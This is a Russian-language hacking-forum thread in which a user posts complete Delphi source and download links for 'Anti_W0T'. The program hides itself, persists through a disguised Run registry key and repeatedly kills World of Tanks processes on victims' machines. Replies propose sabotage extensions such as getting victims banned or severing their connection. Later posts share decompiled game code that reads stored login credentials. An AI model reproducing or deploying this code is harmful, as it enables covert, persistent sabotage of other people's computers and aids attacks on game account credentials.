• XSS.stack #1 – первый литературный журнал от юзеров форума

Разминка для мозга.

Собственно, выкладываю версию прошедшею отладку и тесты на работоспособность. На данной стадии ALPHA версия мной закончена.

:zns5: Скачать|Download

:zns5: Скачать|Download

:zns5: Скачать|Download

passwd:dlab.org.in.alphaWOT

Исходный код:
Код:
// Code By DarckSol *ICQ*335*949*335*
// designed for the portal
// -=xss.pro/=-
// ArtWork
////////////////////////////////////
program Anti_W0T;
uses
windows,
Tlhelp32,
sysutils,
registry;

var
  intervalup:integer;
  sleeptime:integer;
const
regrootkey = HKEY_CURRENT_USER;
SysParams = $00000004;
HideParam = $00000002;
Launcher  = 'WOTLauncher.exe';
W_0_T     = 'WorldOfTanks.exe';


Function WoT_PROC_DIA(ExeFileName: String): Integer; stdcall;
const
  PROCESS_TERMINATE = $0001;
var
 ContinueLoop: BOOL;
 FSnapshotHandle: THandle;
 FProcessEntry32: TProcessEntry32;
begin try
 Result := 0;
 FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
 ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

 while Integer(ContinueLoop) <> 0 do
 begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
 UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
 UpperCase(ExeFileName))) then
 Result := Integer(TerminateProcess(
 OpenProcess(PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID),                                     0));
     ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);

finally
        end;
end;


Function xGenerator():string;
var
xname:array[0..19] of string;
Buffer: array[0..1023] of Char;
iResult:string;
begin
try
SetString(iResult, Buffer, GetTempPath(Sizeof(Buffer) - 1, Buffer));
//------------------------NameGen-----------
xname[0]:='WorldofTanckLauncher';
xname[1]:='mkuses';
xname[2]:='wininet';
xname[3]:='explorers';
xname[4]:='System';
xname[5]:='WorlOfTanckUpdate';
xname[6]:='lasso';
xname[7]:='xmodeupdate';
xname[8]:='LauncherMod';
xname[9]:='dllhosts';
xname[10]:='mss.dll';
xname[11]:='smssole';
xname[12]:='sqlitel';
xname[13]:='winhost';
xname[14]:='monhosts';
xname[15]:='oracle';
xname[16]:='.';
xname[17]:='e';
xname[18]:='x';
xname[19]:='e';
randomize;
result:=iResult+xname[random(15)]+xname[16]+xname[17]+xname[18]+xname[19];
except
end;
end;

Function SPOILERnt():bool;
var
I:integer;
ran:integer;
begin
for I := 0 to 1 do begin
//---
if i = 0 then
begin
windows.SetFileAttributes(pchar(paramstr(0)), SysParams);
randomize;
ran:=random(500);
ran:=ran+random(600)-100*1+100-121+100+21;
sleep(ran);
end;
if i = 1 then
begin
ran:=random(300)+random(100)+random(400)+random(300)-121*1+121;
sleep(ran);
windows.SetFileAttributes(pchar(paramstr(0)),HideParam);
end;
end;
end;

Procedure RegMyPlz;
var
reg:TRegistry;
xNP:string;
begin
try
xNP:=xGenerator;
copyfile(pchar(paramstr(0)),PChar(xNP),true);
reg:=TRegistry.Create;
reg.RootKey:=regrootkey;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('WindowsUpdateCenter',xNP);
reg.CloseKey;
reg.Destroy;
reg:=TRegistry.Create;
reg.RootKey:=regrootkey;
reg.OpenKey('Software\Microsoft',true);
if reg.OpenKey('WinWoT', true)=false then reg.CreateKey('WinWoT') else
reg.WriteString('0x0810123','0x00000072');
reg.CloseKey;
reg.Free;
except
end;
end;

Function check():boolean;  //Start RegMyPlz
var
uCh:tregistry;
begin
try
uCH:=TRegistry.Create;
uCH.RootKey:=regrootkey;
uCH.OpenKey('\Software\Microsoft\WinWoT',true);
if uCH.ReadString('0x0810123') ='0x00000072' then
begin
result:=true;
end else
begin
RegMyPlz;
result:=false;
end;
finally
end;
end;

Function GetSleepTime():integer;
var
interval:integer;
options:array[0..9] of integer;
begin
options[0]:=300000; // 3 min
options[1]:=420000; // 4 min
options[2]:=900000; // 15 min
options[3]:=780000; // 13 min
options[4]:=840000; // 14 min
options[5]:=540000; // 5 min
options[6]:=270000;
options[7]:=420000;
options[8]:=150000;
options[9]:=450000;
randomize;
interval:=options[random(9)];
result:=interval;
end;

Procedure Start3;
begin
WoT_PROC_DIA(Launcher);
sleep(500);
WoT_PROC_DIA(W_0_T);
end;

Procedure Start1;
begin
if WoT_PROC_DIA(W_0_T) = 0 then WoT_PROC_DIA(Launcher);
end;

Procedure Start2;
begin
if WoT_PROC_DIA(Launcher) = 0 then WoT_PROC_DIA(W_0_T);
end;

Procedure Start_dia;
var
randomstart:array[0..9] of integer;
IStart:Integer;
begin
randomstart[0]:=0;
randomstart[1]:=1;
randomstart[2]:=2;
randomstart[3]:=3;
randomstart[4]:=4;
randomstart[5]:=5;
randomstart[6]:=6;
randomstart[7]:=7;
randomstart[8]:=8;
randomstart[9]:=9;
randomize;
IStart:=randomstart[random(9)];
if IStart = 0 then start1 else if IStart = 1 then start2 else if IStart=2 then start3 else if IStart=3 then start2 else
if IStart=4 then start1 else if IStart=5 then start3 else if IStart=6 then start1 else if IStart=7 then start2 else if IStart=8 then start1 else if IStart=9 then start3;
//--------------------
end;
//----BODY----
begin
intervalup:=15;
intervalup:=intervalup-5-5-3-2;
check;
SPOILERnt;
for intervalup := 1 to 999999909 do
begin
sleep(random(9009));
sleeptime:=GetSleepTime;
Start_dia;
sleep(sleeptime);
sleeptime:=0;
end;
end.
Если не заброшу проект, следующим шагом думаю вклиниться между юзером и игрой, таки образом отвязаться от реестра) Но это уже совсем другая софтина...)
----------------------------------------------------
ScanAV's 6/24
----------------------------------------------------
Subject: Anti_W0T_v0.2_alpha.exe
Size (bytes): 84992
Started at: 23:14 23.08.2013
Finished at: 23:14 23.08.2013
Duration: 00:00:49
MD5:b905f72c475f944a2a03c13d702c8562
SHA1:1440b464aee5ea54929ce885a01d2ff82dcf1dbd
 
ебнуться, на паскале =)
Молодец.
Ой спасибки, потестил в Windows7Pro_x64_SP1. Если есть возможность, потестите в других осях.... Кому нужно будет, напишу убивалку Anti_W0T...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DarckSol
Если это будет малварь, то лучше имхо заменить разные TRegistry на винапи.
По дампу wireshark - пока не смотрел, много работы; завтра посмотрю как там этот танк стучит, и попробую что-то накодить.
 
Если это будет малварь, то лучше имхо заменить разные TRegistry на винапи.
Само собой, а как иначе то..., это просто скелет для разминки, можно сказать тесты и эксперименты) Если я всё же созрею перекодить в что то более детально, массово перетащу функционал на WinAPI, а пока это всё так, поиграться.
 
DarckSol,а как вам такие идеи для размышлений?
Идея_1:
После коннекта и входа в игру начинать беспредел,типо как у читеров (ну там,скорость повысить до космических масштабов,накрутить очки и т.п.)-то есть забанят на серве и все=)
Идея_2:
Перехватить пакеты при коннекте,и если будет найдены последовательность определенных данных,то обрубать коннект и писать что-то вроде
MsgBox ("Ошибка подключения к серверу. Попытайтесь подключиться еще раз или зайдите позже...").
 
Идея_1:
После коннекта и входа в игру начинать беспредел,типо как у читеров (ну там,скорость повысить до космических масштабов,накрутить очки и т.п.)-то есть забанят на серве и все=)
Идея_2:
Перехватить пакеты при коннекте,и если будет найдены последовательность определенных данных,то обрубать коннект и писать что-то вроде
MsgBox ("Ошибка подключения к серверу. Попытайтесь подключиться еще раз или зайдите позже...").
Я всегда "ЗА" прогресс, но не могу понять, куда такие масштабы то.. на мой взгляд, представленный мной код за глаза охватывает "дурость" линейных игроков, я думаю в 80% случаев, будут грешить на дурость в системе, железе или работе игры..., хотя, кто его знает) Люди разные встречаются).

Apocalypse, вопрос кому адресован?
 
Apocalypse
Ради чего все это?
очевидно, для выкладованея бывалыми танкистаме боеукладок в промышленных масштабах и, розумееца, для +42 к ЧСВ инициатора выкладок боеукладок
 
очевидно, для выкладованея бывалыми танкистаме боеукладок в промышленных масштабах и, розумееца, для +42 к ЧСВ инициатора выкладок боеукладок
Эх, страсть моя к бредово-параноидальным фразочкам)+)+)
 
Так. По файлам сорцов самой игры. Есть пять файлов расположенных в следующих местах:

D:\gam\World_of_Tanks\res\loginapp_wot.pubkey
D:\gam\World_of_Tanks\res\scripts\client\gui\Scaleform\Login.pyc
D:\gam\World_of_Tanks\res\scripts\client\Login.pyc
D:\gam\World_of_Tanks\res\scripts\entity_defs\Login.def
D:\gam\World_of_Tanks\res\scripts\entity_defs\LoginQueue.def

Проблема в том, что беглый поиск по сети не выявил средств восстановить питоновские файлы до исходного состояния из "pyc" файлов.
Но я часто натыкался на умельцев которые предлагают такую услугу. И способ имеется. Это 100%. Если кто может поделиться опытом или наводкой - будет супер. Ибо глянуть как в исходнике формируется логин намного проще. А тем более из исходника собрать свою модификацию :)

файлы прилагаю на всякий случай.

:zns5: Скачать|Download
 
http://программисту.рф/python/python-decompile/

Код:
import BigWorld
class CameraNode(BigWorld.UserDataObject):
    __module__ = __name__

    def __init__(self):
        BigWorld.UserDataObject.__init__(self)


Код:
DEBUG >> Version = 2.6
DEBUG >> Scanner version = 2.6
import BigWorld
import Settings
class ContactInfo():
    __module__ = __name__
    KEY_USER = 'user'
    KEY_HOST = 'host'
    KEY_EMAIL = 'email'
    KEY_PASSWORD = 'password'
    KEY_REMEMBER = 'remember'

    def __init__(self):
        self.host = None
        self.user = None
        self.email = None
        self.password = None
        self.rememberPassword = False
        self._ContactInfo__checkLoginDataSection()
        self.readLocalLoginData()



    def readLocalLoginData(self):
        ds = self.getLoginDataSection()
        self.host = ds.readString(self.KEY_HOST)
        self.user = ds.readString(self.KEY_USER)
        self.email = ds.readString(self.KEY_EMAIL)
        self.password = ds.readString(self.KEY_PASSWORD)
        self.rememberPassword = bool(ds.readString(self.KEY_REMEMBER))



    def writeLocalLoginData(self):
        ds = self.getLoginDataSection()
        ds.writeString(self.KEY_HOST, self.host)
        ds.writeString(self.KEY_USER, self.user)
        ds.writeString(self.KEY_EMAIL, self.email)
        ds.writeString(self.KEY_PASSWORD, self.password)
        ds.writeString(self.KEY_REMEMBER, str(self.rememberPassword))



    def getLoginDataSection(self):
        return Settings.g_instance.userPrefs[Settings.KEY_LOGIN_INFO]



    def __checkLoginDataSection(self):
        up = Settings.g_instance.userPrefs
        if (up.has_key(Settings.KEY_LOGIN_INFO) or up.write(Settings.KEY_LOGIN_INFO, '')):
            pass
 
стянул с форума одного уже декомпильный код, а вообще поставил decompyle_2.3.2, но он че то глючит у меня, видимо зависимости есть, детально не разбирался.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
rtkm
Лучше искать не попроцесу, а по класу, так как названия процесса может быть разным.. да есть еще способы удаление и т.д.
Это хорошо что вы читаете советы VazoneZ'a в своих темах, но в данном случае искать по классу нет смысла - это не отладчики, шифровать свои процессы танки не будут.
 
Hand of Thief тогда написал бы уж каким образом добился резалта что-ли...

По теме... реверс дроп бокс клиента - обфусцированного pyc кода.
Трулоло
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх